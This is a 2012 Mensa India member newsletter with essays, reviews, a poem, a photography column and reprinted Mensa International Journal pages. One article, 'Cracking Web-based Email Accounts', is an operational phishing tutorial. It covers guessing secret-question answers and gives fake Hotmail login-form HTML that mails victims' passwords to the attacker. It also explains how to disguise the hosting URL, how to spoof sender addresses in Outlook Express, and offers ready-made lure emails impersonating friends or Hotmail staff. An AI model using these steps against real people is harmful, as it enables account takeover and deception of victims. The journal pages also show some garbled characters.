mind jul-sep 2012

JUL - SEP 2012

Hello Readers,

MInd is back yet again after a break.

(Teething troubles for baby MInd!). But this time

around, it is energised by the slow, but promis-

ing trickle of contributions coming in from our

enthusiastic members. We hope to see the trickle

gushing into a formidable waterfall soon.

We hope MInd goes a long way in bind-

ing us together as Mensans in India and also even-

tually be our bridge to the world. Your contribu-

tions can help us reinforce this bridge. We are

greatly encouraged after the re-launch, by ideas

coming in through reviews of books, games,

movies, etc. comic strips by our members, book

launches by the literally gifted Mensans, etc.

It will be wonderful to know how you as

Mensans are contributing to the world and using

your intellectual gift. Do write in to us with news,

views, reviews – use those grey cells and let us

change the world!

Rukmini IyerRukmini IyerRukmini IyerRukmini IyerRukmini Iyer

Editor

[email protected]

DISCLAIMER :

All contents in this magazine are opinions

of the individual authors and contributors.

Neither Mensa India, the society, its office-

bearers nor the Editors are responsible for

any content and views expressed.

Send in your articles and

contributions in plain text format

and pictures in high-resolution .jpg

format to,

[email protected]

You may also send in details of

chapter events and upcoming

activities, including test dates and

venue information.

Deadline for contribution to the

next issue:

15 November 2012

Your letters, ideas, feedback, brick-bats and

bouquets are all very welcome at,

[email protected]

or at,

Readers' MInd:

Mensa India (Mumbai)

C/o KenKeen,

403, Sai Chambers,

Near Railway Station,

Santacruz (E),

Mumbai 400055.

Editorial

2

Passwords

A password is a string of letters, numbers or

special characters used to provide basic authen-

tication. A password is like a key to your data.

Therefore it is essential that you, and you alone,

know what your password is. A good password

has a few key characteristics as follows:

1. It should contain at least 6-10 characters

2. A password must NEVER contain you

name, your username, your girlfriend's name,

your birth year or any such personal infor-

mation.

3. A good password must not mean anything.

Random combinations of letters, numbers

and underscores are the hardest to crack.

Examples of good passwords:

w YxR7J9s

w E89Xsal

w You get the idea…

Cracking web-based passwords

w The first and most important thing you need

is information about the victim. Any data

regarding his age, pet's name, favourite food,

etc will be useful. If the victim is your friend,

nothing like it.

w Basic computer literacy is required.

w Knowledge of HTML (Hypertext Markup

Language) and SMTP (Simple Mail Transfer

protocol) would help.

Now that you are set, the first thing to try is

to guess the password. This may sound absurd

but many people simply have passwords as their

usernames, girlfriend's/boyfriend's name etc. Try

a couple of times but don't break your head

over it.

If you cannot get the password after a few

attempts, click on the 'Forgot your Password?'

button. Supply the victim's data and have a look

at his secret question. If you are lucky, it will be

something like 'What's your dog's name?' or

'Where were you born?' These questions should

not be hard to get. This method works one in

ten times. Note that this method will RESET

the password in some cases i.e., the victim will

know his password has been changed. If this is

undesirable, or if you cannot answer the secret

question, then it's time to start using social

engineering.

Social engineering is basically getting people

around you to do what you want, without them

realizing it. The most direct (and least success-

ful) approach is to go up to the victim and ask.

The second approach is to put the victim into

circumstances where he will feel it is necessary

to do what you want him to do. This can be

achieved in many ways. The third approach is to

get the victim to conform to a group decision.

The fact that the subject may think the idea or

decision is incorrect is irrelevant. An example

of this is often seen where a teacher asks a class

"How many of you think so and so is correct?"

If many hands go up, you will be sure to see the

few kids with their hands down tentatively raise

their hand. Social engineering requires a sharp

mind and some preparation.

When using social engineering to obtain pass-

words we will use the second approach. Our aim

is to make the victim disclose his password to us

without him knowing. The easiest ways to do

this is by use of a fake login screen. The victim

will get a mail pointing him to a certain interest-

ing website. He will, instead see one of those

timeout pages asking him to re-enter his pass-

word. Unsuspecting, he will enter his password

and be forwarded to the actual site.

Let's analyze what just happened - the re-

enter password page was not an official page,

but one that was created by you. Upon clicking

submit, the victim would have dispatched his

password straight to your mailbox. He would then

be forwarded to the real site, clueless about what

he had just done. Sounds interesting? Here's how

Cracking Web-based

Email Accounts

3

to pull it off.

As mentioned earlier, a lot of preparation is

needed. The first thing I recommend you do is

to get yourself a fake yahoo id. While signing

up, do not give any real details. After this you

will have access to free web space and a free e-

mail account. The second step is to create a fake

login page. It is advisable to use a separate page

for each victim. People with HTML knowledge

shouldn't find it hard but for people who are not

familiar with HTML, or are just lazy, you can

download a ready-made hotmail page from,

http://www.geocities.com/kyanpardiwalla/

fakehotmail.html

Now we need to modify this page. To edit it,

simply open the page in Notepad. Look for the

following lines in the beginning of the file.

<form target="_top" name="form1"

action="http://www.response-o-matic.com/

cgi-bin/rom.pl" method="post">

<inputTYPE="hidden"

NAME="your_email_address"

VALUE="YOUREMAILADDRESSHERE">

<input TYPE="hidden"

NAME="your_name" VALUE="

YOUREMAILADDRESSHERE ">


NAME="email_subject_line"

VALUE="Password Received">


NAME="required_fields" VALUE="">


NAME="thank_you_title"

VALUE="<script>location.href =

'PUTSITEHERE';</script>">


NAME="return_link_url" VALUE="http://

www.hotmail.com">


NAME="return_link_name"

VALUE="Hotmail">


NAME="background_color"

VALUE="#FFFFFF">

<input TYPE="hidden" NAME="text_color"

VALUE="#000000">

<input TYPE="hidden" NAME="link_color"

VALUE="#0000FF">


NAME="visited_link_color"

VALUE="#0000FF">


NAME="active_link_color"

VALUE="#0000FF">

The first highlighted portion points to a free

online relay script. It will take the information

that the page feeds it and email it to you.

Replace the highlighted

YOUREMAILHERE portions with your new

fake e-mail address, and the PUTSITEHERE

with the address of the site you want the victim

to be redirected to after he types his password.

The site should look something like http://

www.whateversite.com

Now scroll down until you see these lines,

<td><font class="PPSignInName"

style="font-size: 9pt"> </font><span

style="font-size:

9pt"><i>VICTIMSIGNINNAME</i></

span><i><font style="font-size:

9pt">@hotmail.com</font></i></td>

Scroll down to the end of the file and

find these lines too

<input type="hidden" name="login"

value=" VICTIMSIGNINNAME ">

<input type="hidden" name="ishotmail"

value="1">

<input type="hidden" name="reauth"

value="yes">

<input type="hidden" name="sec"

value="no">

Cracking Web-based

Email Accounts (cntd)

4

<input type="hidden" name="rru" value="">

<input type="hidden" name="_lang"

value="EN">

Replace 'VICTIMSIGNINNAME' with the

login name of the victim. Example, if the vic-

tims e-mail address is [email protected], his

login name will be john123. After doing this save

the file as index.html (the filename does not

matter.) I have discussed an example of a hotmail

login page, for other mail systems you can create

your own page. The procedure is similar, if not

exactly the same. Now you have the fake page

ready, you need to upload it onto your geocities

account.

Go to http://geocities.yahoo.com and log on

with your fake id. Go to File Manager. In the

File Manager, make a new subdirectory. Do this

by clicking 'New' under the Subdirectories

header. Name the directory something like

AaSIUskaiid_2371Jssdis-hotmail6352L

Anything long and complicated will do, make

it a combination of Uppercase and lowercase

letters, along with numbers and a periodic '_'.

Make two more subdirectories under this one.

The point of making the names long is to hide

the 'geocities' part of the URL. All the victim

will see is meaningless blabber that looks exactly

like the normal hotmail URL.

Your directory structure should look some-

thing like this

Home

à Subdirectory A

à Subdirectory B

à Subdirectory C , where A, B and

C have long meaningless names and B is a

subdirectory of A , C is a subdirectory of B.

Now navigate to the deepest subdirectory

and click upload file. Browse and upload the

index.html file you just created. Test to see if

it was uploaded successfully by going to http:/

/www.geocities.com/

YOURFAKEUSERNAME/SubdirectoryA/

SubdirectoryB/SubdirectoryC/index.html,

where YOURFAKEUSERNAME is well, your

fake user name and Subdirectory A, B and C

are the complicated names of the

subdirectories you just created.

After the file has been uploaded and tested,

you need to send a mail to the victim and make

him click on the link you give him. You can do

this by sending a mail from your own account,

which is very risky, or by spoofing a mail. Spoof-

ing requires some SMTP knowledge and basic

understanding of how SMTP works. However,

if you are lazy and do not want to learn all this,

here's an easy way to send fake mail using one

of the most popular clients available - Outlook

Express.

Before you begin, you will need the SMTP

server of your ISP. It is usually something like

smtp.yourispname.com. You could give them a

call and they will give you the IP of the SMTP

server.

First open Outlook Express and go to Tools

' Accounts. Click Add'Mail. Enter the name of

the person you want to send the mail from. For

example, you can enter a friend's name, or a com-

pany name. DO NOT enter your name. In the

next screen enter the e-mail address of the per-

son you want to want to send the mail from.

Again, do not enter your email address. In the

next screen, you may type anything in the In-

coming mail Box, but put the name/IP of the

SMTP server in the second box. Ignore the next

screen and click next. Now your fake mail ac-

count has been set up, you may send mail from

the person whose details you entered in the first

two screens. Click Create Mail and in the from

field, make sure the e-mail address you entered

is selected. Type the mail as usual, including a

link to your fake hotmail login page, which you

uploaded.

Here are some examples of mails you could

send:

Cracking Web-based


5

From : <Friend's name other than you>

Subject: Hey, check this out

Message:

Hey there <victim>, I just found this

ultra cool site with tons of jokes and stuff to do.

Check it out here. You wont be disappointed!!

Love,

<friend's name>

In the above example, the word 'here' is

hyperlinked to http://www.geocities.com/

SubA/SubB/ ……… as shown above.

Another popular fake mail:

From: The Hotmail Staff

Subject: Account information

Message:

Hello,

We would like to inform you that

we are validating all accounts in order to pre-

vent unsolicited mail reaching our customers.

Please click here to validate your account and

ensure that you will not be cut off.

Thank you,

The Hotmail Staff.

Again the here is hyperlinked to your fake

page. This is where information about your vic-

tim comes in handy. Be creative and remember,

the aim is to get him to click the link. After send-

ing this mail, sit back and wait for the password

to be mailed to your fake yahoo address.

NOTE: There are many Hotmail security flaws. This

is not one of them. This simply takes advantage of

people's carelessness (read: stupidity). If you really want

to hack the hard way, you will need to learn CGI and

PHP to fully understand the sort of exploits possible.

This guide is meant for complete beginners. 1337 hack-

ers, please wait a bit.

DISCLAIMER

I am not responsible for anything that may

arise from the use of this paper. This paper is

intended for educational purposes only and is

meant only to show what can be done to you.

If you are going to try something illegal, don't.

Hackers better than you have been caught.

Kyan Pardiwalla

Cracking Web-based


A Wish and A PrayerA Wish and A PrayerA Wish and A PrayerA Wish and A PrayerA Wish and A Prayer

Send me no twilights, Lord

Lengthening shadows are not for me

When the outer sun fades and darkness

looms

Pray set my inner sun free

With it I will chart my path

In its light I will dwell

By it I will incinerate this world

And then burn heaven and hell

Till naught remains but consciousness pure

And in its light I can see

That All-That-Is is really Bliss

And All-That-Is is really me

- Kishore Asthana- Kishore Asthana- Kishore Asthana- Kishore Asthana- Kishore Asthana

[email protected]

6

MInd Review

Book Review

Why Smart People Make Big Money Mistakes -

And How to Correct Them

by Gary Belsky & Thomas Gilovich

Media Type - Book

Genre - Non-Fiction

The title of this book itself is intriguing

enough to pull it out of the bookshelf of a store

& start reading. Even though many people hate

their mistakes being pointed out, it doesn’t take

more than a sincere & reasonable attempt to do

that. That is exactly what this books tries to ac-

complish.

The topic is very interesting from two points

of view, one is being considered smart in general

than the majority & the other one is the being

fooled by the same things that fool the majority.

For instance, it is well known that Sir Isaac New-

ton, generally regarded the smartest man alive

when he lived, lost his entire fortune gambling

away on the shares of South Sea Company. This

company later on turned out to have a fraudu-

lent operation in which millions on people lost

their life savings. So why did such a smart man

fall prey to such a con with the rest of the gen-

eral public? Why is this phenomenon repeated

so widely in our daily lives?

We purchase insurance, we invest in the

stock market through various means, we buy

precious metals & do a lot of transactions where

money is involved. We are constantly trying to

figure out if the other person is taking us for a

ride, but there are a few times where this thought

escapes us & we get carried away with the rest

of the crowd doing the exact same thing which

we would rather not have done if we had to do

it all by ourselves.

This book outlines the subject of Behavioural

Economics or Behavioural Finance. This stream

became popular somewhere in the mid 1970’s

through various research experiments conducted

in the field of psychology. These experiments

were focused on finding one specific object, are

humans susceptible to biases while making ra-

tional decisions? The entire field of Economics

at that time was based on a simple assumption

that all economic transactions are carried out

rationally with the only selfish intention to ben-

efit all parties entering the transaction. So we

can naturally assume that all the Economic theo-

ries were based on human beings being rational

(called the Homo Economicus). But all these

theories started to fall apart when these models

were applied to phenomenons like market

bubbles, booms & busts & other anomalies where

people deviated from their expected behaviour,

or simply made stupid money mistakes.

Imagine a hall of human biases, biases are

the reason why we fail so often to make rational

economic decisions. This book takes us through

this hall, chapter by chapter, introducing us to

each of these biases & ways to spot and avoid

them. The simple fact that these are biases & we

are not in conscious control of some of our de-

cisions is difficult to set in. When someone starts

telling us about a bias, we usually say “Ya, I knew

that one already. You just gave it a fancy name.”

But when the same bias is disguised in an ex-

periment or a real life situation involving ratio-

nal decision making, we fail to spot it & fall for

the trap.

For instance, the first chapter talks about the

bias of “Mental Accounting”. A simple exercise

- if you earn Rs. 10,000 a month, every month

from your job do you look at it any differently

from winning Rs. 10,000 in a casino playing for

just 10 minutes? If your answer to this question

was No! they are the same irrespective of the

source of income, then Congratulations you have

successfully hurdled the Mental Accounting Bias.

But if you felt even for a second that the two Rs.

10,000’s are any different & you would spend

them differently, then there is clearly Mental

Accounting going on somewhere in your heads.

Although this example is very simplistic, there

7

are a lot of situations where multiple biases act

at once to confuse us. That is why it becomes

important to train ourselves & figure out which

biases we can fall prey to.

The reason I love this book & this field of

Behavioural Economics is that it creates a level

playing field for all of us. We are all susceptible

to the same psychological flaws & we do fall prey

to them from time to time. When a very dear

friend suddenly comes to you & tries to sell you

MInd Review

(cntd)

a financial product (insurance or an investment

opportunity), this book will tell us not to be cour-

teous but to ask all the right questions before

you part with your money.

There is a reason why the saying exists, ‘A

fool and his money are soon parted’. We can always

learn how not be that fool.

Raunak Onkar

[email protected]

Most of the people in the world have a fear

of one kind or another. While most people suf-

fer from pathophobia (fear of disease), mono-

phobia (fear of being alone), glossophobia (fear

of public speaking), algophobia (fear of pain),

taphephobia (fear of being buried alive), and

many more, there are also some less popular

phobias.

There are many people in the world that suf-

fer from polyphobia, which simply means to have

more than one fear. Not so common, people may

suffer from antinomial phobias. For example,

there are some people that live with vestiophobia

(fear of clothes) andgymnophobia (fear of

nudity). Another example is people with

achluophobia (fear of darkness) and photopho-

bia (fear of light).

Watch out guys, within the next seven years,

you will probably get married and you will suffer

from pentheraphobia, which is one of the scari-

est phobias in existence, the fear of your mother-

in-law!

Not all phobias have been in existence for

thousands of years. I'm sure that brontophobia

(fear of thunder and lightning), febriphobia (fear

of fever), and ophidiophobia (fear of snakes)

have existed since the Black Ages. Some of the

phobias that have formed in the last two centu-

ries would be electrophobia (fear of electricity),

motorphobia (fear of automobiles), and

aviophobia (fear of flying).

In 1945, a brand new phobia was quickly

created and escalated drastically in the 1950's.

It is called nucleomituphobia, which is the fear

or nuclear weapons. But that's not the newest

phobia in existence as of today. This threat is

called cyberphobia (fear of computers). In mild

cases, people may be afraid to use a computer or

an ATM. In today's society, technology is deeply

integrated. Computers are used in calculators,

cars, microwaves, power tools, and many more.

So to the cyberphobic, I say, "Get over it, or go

to the extreme and move away from the city,

abandon your car, hand build your home, hand

pump your water, build your fires, and hunt for

your own food!"

If you have a phobia, there is still hope for

you. Phobias can be cured. Remember when

you were a child and suffered from clinophobia

(fear of going to bed) because of bogyphobia

(fear of the bogeyman), achluophobia (fear of

darkness), and lachanophobia (fear of veg-

etables). Now chances are good that you go to

bed without checking your closet or looking un-

der your bed, that you don't go ballistic if the

lights go out, and that you eat a salad every so

often.

Ashish Patwardhan

The Fear Factor

8

Nothing excites me more on long drives than

the sight of a Russell Stover Candies Factory

Outlet sign. Visiting the mother of all mother-

lode chocolate outlets is the highlight of any trip.

I make my best purchase decisions with a mouth-

ful of dark chocolate samples. Chocolate melt-

ing in my mouth, then dripping down my throat,

perks me up. Chocolate lovers as well as other

species know that hoarding and hiding leftovers

and other goodies is an art. Dogs do it; so do I,

and for good reason.

Returning home from the St. Petersburg

Beach Bash Regional Gathering, Cheryl Frances

Ellis, my sweetie-pie of significance, and I en-

countered a Russell Stover Outlet. After stuff-

ing our mouths with samples, we fanned out

through the store. I discovered heavily dis-

counted mouth-watering dark chocolate egg

truffles for Easter, which had passed 3 months

earlier. I asked a sales lady what these tasted

like, which was her invitation to open a box for

me to sample. I administered my admissions test,

which is simpler than Mensa’s. The truffle passed

with but one large bite. Magnanimous in my

generosity with Russell Stover’s freebies, I of-

fered Cheryl, who seems close at hand whenever

chocolate is present, a bite. After dickering with

the lady about the price of a case, I turned to

retrieve the remainder of the huge truffle. Both

it and Cheryl had vanished.

Grabbing the case, I munched my way over

to another sample tray as I continued grazing

through the store. Eventually I bumped into

Cheryl, who was lovingly gazing into sad brown

eyes of chocolate Easter bunnies. In deference

to the true meaning of Easter, I too paused to

admire these and consider their reduced price

before interrupting Cheryl’s reverie.

“Let’s gobble more samples and hit the road,”

I suggested. We did just that, but not before I

purchased a few more boxes of mixed chocolate

seconds at a fraction of their sale price. When

we got home, I hid my stockpile. Sweet Cheryl

claims not to like or need candy. Oh, yeah.

A couple of weeks later I departed in the

Mensamobile to Pennsylvania, Ohio, and North

Carolina, where I would teach at Judo camps.

Imagine my sheer horror upon discovering on my

return that some nuisance pest had detected and

devoured my hoard of chocolates. I rooted un-

successfully through the lower cabinet behind

flour and surplus condiments, finding only rem-

nants of what had been a year’s supply. My cache

had dwindled to a box of seconds, some pectin

jelly eggs, and a few French mint chocolate bars.

Gone were all the truffle eggs about which I had

fantasized savoring.

Had we experienced infestation of termites

or roaches? Had a rat found my cache, perhaps

a large, two-legged one? Was I pissed? You

betcha.

“So, my sweetie,” I began in my worried,

whiny tone, “to where might my chocolates have

wandered? Where’d you hide them?” Her si-

lence and reddening face gave her away. “Come

on, this is not funny. I have been drooling over

the thought of eating truffles. I want my candy,

and I want it NOW.”

“You can’t go off for a month, leaving choco-

late around and expect me not to eat it,” Cheryl

RATionalized.

“I did not LEAVE IT AROUND,” I said,

smoldering beneath a calm exterior. I had been

violated. “I hid it, and I hid it well, where I

thought you wouldn’t think to look. So where

did you hide it, huh? Huh?” I was becoming

frantic, in need of my chocolate fix.

“I protected you from eating outdated choco-

late,” she merrily chirped. “The expiration date

was months ago. You would have gotten sick

from old chocolate, so I got rid of it.”

“Got rid of it? Just how did you get rid of

my chocolate, that I paid for?”

“I ate it,” she shamelessly confessed. “But I

In Search of Chocolate

9

ate only one piece a day,” she righteously de-

fended. “You were gone a long time.” Now it

was my fault.

Cheryl Frances Ellis had made yet another

supreme sacrifice for me, protecting me from ill-

ness by taking inside her own body outdated and

perhaps tainted chocolate. Was I pleased by her

gluttony on my behalf? Did I want to take her

into my warm embrace and thank her? Or did I

consider slitting her belly to reclaim my undi-

gested but warm chocolate? What do you think?

From this bitter episode I learned some im-

portant but bitter lessons. I need better hiding

places. Loved ones cannot be trusted to protect

chocolate. And loved ones will risk their health

to protect others from outdated chocolate. That

after all is true love, and like chocolate, it is

sweet. Bittersweet.

Ronald Allan Charles

In Search of Chocolate

(cntd)

Our member Kishore Asthana from Delhi

has recently come up with his first commer-

cial publication ‘Tasnim& Other Stories’,

published by Times of India Books (Bennett,

Coleman). Here’s what he has to say about it:

“These stories were written in different

places at different times and they reflect the

loves, trials and triumphs of a very diverse set

of men and women. Those who travel with them

will be transported to different worlds. In some,

they may find themselves. In others, they may

wish they had found themselves.

“Come, share the gentle romance of Tasnim,

the spells of Tona, the beautiful experience of

Kavi, the dismay of the Master of Masters, the

laughter of the Third Joker, the wonder of Olf

MInd Launch: Tasnim and Other Stories

Hollow and the experiences of many more.

“As Hamlet said, “There are more things in

heaven and earth, Horatio, than are dreamt of in

your philosophy.” Some of these things, belong-

ing to both heaven and earth, are to be found

here.

“There is laughter in these pages and seri-

ous thought, adventure beyond the normal,

magic and exceptional romance. Beyond all,

there is life in all its splendour.”

The book is available in some book stores,

Flipkart and on www.infibeam.com.

Kishore Asthana

[email protected]

Just for Laughs

Rejoy Kurup

[email protected]

10

Hello M’s and welcome to watching the world

through a small rectangle. Here we begin with a

series of articles for and by the community of

Lensans: Mensans with a passion for lenses (not

the contact variety)! This time we look at “Ex-

posure” and its effects on a photograph.

Most professionals will say that f/8 as f-stop

number will do for a majority of snaps and the

most important thing – being there when a good

photograph comes along. That is to say – At the

right place at the right time to take a good snap.

F/8 is the actual aperture that can be set on

most cameras though it means nothing without

values for Film Speed and the Shutter Speed.

There is actually no correct exposure as the

real world contains a much wider spectrum of

tones that can be covered on a film. Some de-

tails will be lost as some tones that are distin-

guishable in the real world are mapped to the

same density on the film. Here, we will try to

control and predict which tones will be lost.

Controlling Factors

There are only three controls that affect the

image on the film. These are focus, aperture and

shutter speed. Of these three, aperture and shut-

ter speed affect the exposure.

Let’s look at aperture first. If both the subject

and the camera are stationary, then the shutter

speed is not much important for exposure. The

aperture affects the “depth of field”. This de-

fines which objects will be in focus in the photo-

graph.

Aperture is the degree to which the dia-

phragm inside the lens is opened. This is useful

in stopping certain portions of light coming in

through the lens.

The first reason to stop the lens’ light gath-

ering capability is to control brightness in a pho-

tograph. If we have a fast film and a slow shut-

ter seed, the only way to prevent over-exposure

is to use a smaller aperture.

Other reason is to control the sharpness of

the photograph. This is important for the aes-

thetic value of the snap. The range of distances

at which the objects are acceptably sharp is called

the “depth of field”. What is acceptable is one

size of a photograph may not be acceptable in

another. For example – An 8 x 10 print viewed

at arm’s length may not be acceptable in a 30 x

40 print viewed at arm’s length. Or even what is

acceptable in a 8 x 10 print viewed at arm’s length

may not be acceptable in a 8 x 10 print viewed

from a larger distance.

Knowing F-stops

The f-number is the lens’ length divided by

the diameter of the aperture opening. So, for a

100 mm lens, f/2 would mean an aperture open-

ing of 50 mm.

So, if you want more objects in the scene to

be focused, you must have a smaller aperture and

hence a larger f-number, e.g., f/16 or f/22.

The lenses are calibrated with the following

succession of apertures : 1.4, 2.0, 2.8, 4.0, 5.6,

8, 11, 16, 22, 32, 45, 64. Each step represents

halving of light that comes through the lens. This

is because the area of aperture is equal to half

the diameter squared. So multiplying the f-num-

ber with the square root of 2, halves the amount

of light entering through the lens.

Shutter Speed

For a given exposure, the aperture we choose

can determine the shutter speed. This is one area

where you will need your mathematics. So, get

your calculators out. Once you are experienced

(or buy a camera with a built-in light meter), you

will not need this. Just kidding. Its not so diffi-

cult but definitely needs some practice.

Let’s say, we are taking a portrait and have a

small “depth of field”, i.e., objects near to the

camera are in focus, we will choose a wide-open

f/2.8 aperture. Suppose that implies a shutter

speed of 1/125th of a second. If we now decide

Lensa: The Photography SIG

11

to get the background in focus too, we stop down

to f/22. This implies 6 f-stops less light. Thus

the new shutter speed should be 1/125 multi-

plied by 64 (2^6), i.e., ½ seconds.

A camera with a built-in meter can do this

calculation for you. A few professionals also use

an exposure mode called an “aperture-priority

auto-exposure”. With this mode, the photogra-

pher picks the aperture and the camera picks up

the shutter speed. It does not matter what shut-

ter speed the camera picks as long as both the

subject and the camera are stationary.

I like to shoot my family and friends

- preferably outdoors. It so happened

that my wife and I were invited by a

friend, Ami Shroff (who also happens

to be a Mensan), to tour the largest dis-

trict in India, Kutch. We travelled the

length and breadth of it for over a week

in October 1998. We saw many of our

"Kutch-is-a-desert-barren-land-where-

there-is-not-much" myths wonderfully

crumble. Ami is involved in a Rolex

Award winning NGO called Shrujan

that does widespread work in the

upliftment of tribal women of the

region.

Now about the picture. On one evening we

stopped the car and walked over some sand

dunes to reach the beach. It was occupied by

four mammals - three of us and a dog. We sat on

the sand and silence overtook us. While I tried

to decrease the depth of field to blur out the

background, Ami noticed me pointing at her and

chose not to shift her gaze. She smiled. I heard

the sweet sound of the shutter.

The Lensan Shot

A few years later I visited Baroda as a mem-

ber of the Fire Starter Team of Mensa India. In

those days its function was to travel to cities to

start a new Mensa chapter. I framed this enlarged

picture (that Ami had never seen before) and

gifted it to her. I have victimised several people

like this since. But this was special. It was my

first time.

Nirav Sanghavi

[email protected]

Lensa: The Photography SIG

(cntd)

The following pages bring to you the latest from our international scene. We present to you

the September 2012 edition of the Mensa International Journal.

mensa international journal september 2012

mensa international journal editor: kate nacard

september 2012 issue number 561

01

from the director of smaller

national mensas...

Intelligence is something real. It

should be put to good use and in so

doing, we will all be better o%. &is

is what Mensa stands for, the guid-

ing principle of our organisation. We

stay away from political opinions

or public statements to that e%ect

– but our very existence is a state-

ment in itself, shouting loudly that

intelligence must be identi'ed and

understood and used for the bene't

of humankind.

And we should have fun while do-

ing it. &at is something many groups

have become very adept at over the

years. As I write this, I am gazing out

over the Paci'c Ocean from my hotel

room in Santa Cruz. Just days ago, I

was among the almost 2,000 individ-

uals who enjoyed the annual gather-

ing of American Mensa in Reno,

“&e world’s biggest little town.”

Four days of concentrated fun, with

social and intellectual stimulation -

not to mention auditory stimulation,

since the casinos seemed to make a

virtue of loudness.

Speaking of “biggest little town”

- the bigger the Mensa group, the

more diversity it can accommodate.

&e more diverse, the more it can

achieve, internally for its members

and externally for the society of

which it will always be a part. A big

and present Mensa will make itself

heard in the media, and membership

in such an organisation is more likely

to be seen as a desirable thing.

Mensa International actively

encourages all Mensa groups to grow.

More members is a good thing in

itself. Even within Mensa, members

look for like-minded people to share

their interests (try to google “Mensa

SIG list” and see what you think).

Among 50,000 members, or 2,000,

chances are good that no matter how

unusual you might be, there are likely

a few others with the same passions.

Not least when it comes to activi-

ties aimed towards the betterment of

society, size matters. Several Mensa

groups provide real, useful services to

gifted children and/or their teach-

ers and parents. &e same is true for

scienti'c projects, where Mensa is

involved here and there.

But not everywhere, and no-

where enough. And this is where it

gets interesting, because size is not

everything. It is like the human brain,

the number of neurons is not as

important as the number and nature

of their interconnections. A mature

and well organized Mensa chapter

can achieve plenty even with com-

paratively few members. Growth is as

much a matter of creating a good and

welcoming social infrastructure, one

that will empower individual mem-

bers, volunteers and SIGs to take

advantage of what Mensa has to o%er

in order to achieve their goals.

To help new chapters with this,

Mensa International has a series of

steps in place: Emerging, Provisional

and Full National Mensas. It takes

250 members and a set of minimum

requirements to reach FNM status,

at which point the country becomes

“independent” in the Mensa organi-

sation, entitled to voting rights on

the International Board of Directors,

which governs how Mensa globally

(by, among other things, deciding

what all countries need to have in

common in order to use the name of

Mensa).

Beyond FNM status however,

there is no clear roadmap. Each

country is free to choose to what

extent it wants to focus on further or-

ganisational development. Which is

probably a good thing. Even so, some

patterns do emerge as countries look

at each other and copy good ideas.

Bigger and better – why Mensa has to grow

Björn Liljeqvist



02

Most problems are not unique to any

one country and we have plenty to

learn from one another.

On a 'nal note, I want to par-

ticularly congratulate Mensa Greece

for being a great example of the

exact thing that this column is about:

growing in number and activities and

getting a good organisation in place,

they have now been recognized as a

Full National Mensa. Congratula-

tions! Keep up the good work – this

is just the end of the beginning.

Björn LiljeqvistDirector – Smaller National

Mensas

IBD Meeting 2012

will be held in

Dubrovnik,

Croatia.

October 11-14

Love to travel? Want to meet and share with other Mensans from around the world? #en the Leader-ship Exchange Ambassador Program (LEAP) might be for you!

Launched in 2009, LEAP helps

national Mensas grow by exchang-

ing the leadership

experiences of its

members with other

national Mensas.

LEAP exposes

other Mensan lead-

ers to the innovative

ideas that other

national Mensas

have successfully

used. And LEAP

provides a network

of potential leaders and

o4cers who are able to

learn from each other

and pass that knowledge

to their native groups.

LEAP participants

receive all-expense paid

trips to two international Mensa

gatherings to present workshops

on a leadership experience that

has helped their own local and/or

national Mensa grow.

Past participants have travelled

to Annual Gatherings in the United

States, Europe and Asia. Since the

program launched, 18 Mensans – six

Americans, three Dutch, two Malay-

sians, one French, one Czech,

one German, one Hungarian, one

Serbian, one Canadian and one

Swede – have participated in LEAP.

Networking before and after the

Annual Gatherings has led to strong

links among participants within

and outside of their national groups.

LEAP aims to bring Mensans all

over the globe closer to each other

and to Mensa’s mission.

“Mensans worldwide have a lot in

common, but there are also great di#er-

ences. LEAP has given me the chance

Look Before You LEAP:

Apply for "e Leadership Ex-

change Ambassador Program

(LEAP)

$e %ve 2012 LEAP participants with Willem Bou-wens, International Chairman, at the recent American Mensa AG in Reno. From l-r, Eszter Chrobacsinszky (Mensa Hungary), Aleksandra Borovic (Mensa Ser-bia), Louise Steenekamp (Mensa South Africa), Willem Bouwens (Chairman, Mensa International), Roeland Van Zeijst (Mensa $e Netherlands), and Vicki Herd (Mensa Canada).

did you know...?

In 2011, there were active Mensa

organizations in 50 countries on

every continent except Antarctica.

&ere are individual Mensa mem-

bers in another 50. Back in 1981,

there were just 16 national groups.

&e word Mensa is not an acronym

- it is a Latin word meaning ‘table’.

It represents a round table around

which members sit as equals.

&e members of the International

Board of Directors of Mensa

International are the chief repre-

sentatives of Full National Men-

sas, usually the chairman.



03

typically controlled for in mathemat-

ics anxiety studies.

&e investigators found children with

higher mathematics anxiety have

a lower mathematics performance,

but girls showed higher levels of

mathematics anxiety than boys and

it was a signi'cant indicator of their

performance. &e fact that there

were no gender di%erences in maths

performance despite higher math-

ematics anxiety in girls could suggest

that girls could have the potential to

perform better in mathematics were

it not for

higher levels

of anxiety.

&e results

from this

study pro-

vide strong

evidence to

show that

secondary school children experience

mathematics anxiety. Lead author

Dénes Szűcs commented, “Math-

ematics anxiety warrants attention

in the classroom because it could

have negative consequences for later

mathematics education, particularly

as it is thought to develop during the

primary school years.” Mathematics

anxiety could account for the reasons

why only 7% of pupils in the UK

study mathematics at A level and

why the number of students taking

maths at university level is in decline.

http://www.eurekalert.org/pub_releas-

es/2012-07/bc-gmp070612.php

Girls’ mathematics per-formance is more likely to suffer than that of boys as a result of mathematics anxiety.

If a train is travelling a distance of

55 miles at 150mph, how long will

it take to reach its destination? If

the thought of having to answer this

question makes you apprehensive,

then you may have mathematics

anxiety. A new study published today

in BioMed Central’s open access

journal Behavioral

and Brain Func-

tions reports that a

number of school-

age children su%er

from mathemat-

ics anxiety and,

although both

genders’ perfor-

mance is likely to

be a%ected as a result, girls’ maths

performance is more likely to su%er

than boys’.

Mathematics anxiety is a state of

discomfort associated with perform-

ing mathematics tasks and is thought

to a%ect a notable proportion of

both children and adults, having a

negative impact on their mathemat-

ics performance. Researchers from

Cambridge University, UK, set out to

investigate in 433 British secondary

school children whether mathematics

anxiety has any e%ect on mathemat-

ics performance on boys and girls.

&e team controlled for test anxiety,

a related construct, but which isn’t

to travel to large Mensa gatherings in

other countries, meet new people, show

them your way and learn from them

things you never even considered before.

For me, it has given an incredible tool-

box of ideas that worked elsewhere, and

a boost of energy to share things that

worked in my national Mensa. I feel to

belong to a global Mensa family!”

Eszter Chrobacsinszky,

Mensa Hungary

2012 LEAP Participant

“In Mensa $e Netherlands, as a

national group we’ve already bene%ted

greatly from my predecessors participat-

ing in 2010 and 2011. Fresh perspec-

tives as well as sound solutions have

been shared with our volunteers, so it

really helps us as we’re growing quite

rapidly. As a 2012 LEAP participant,

I was very happy to be able to share my

views and get feedback on them. I’ve

been introduced to several Mensans

who are well-experienced in many topic

areas that I know will be of interest to

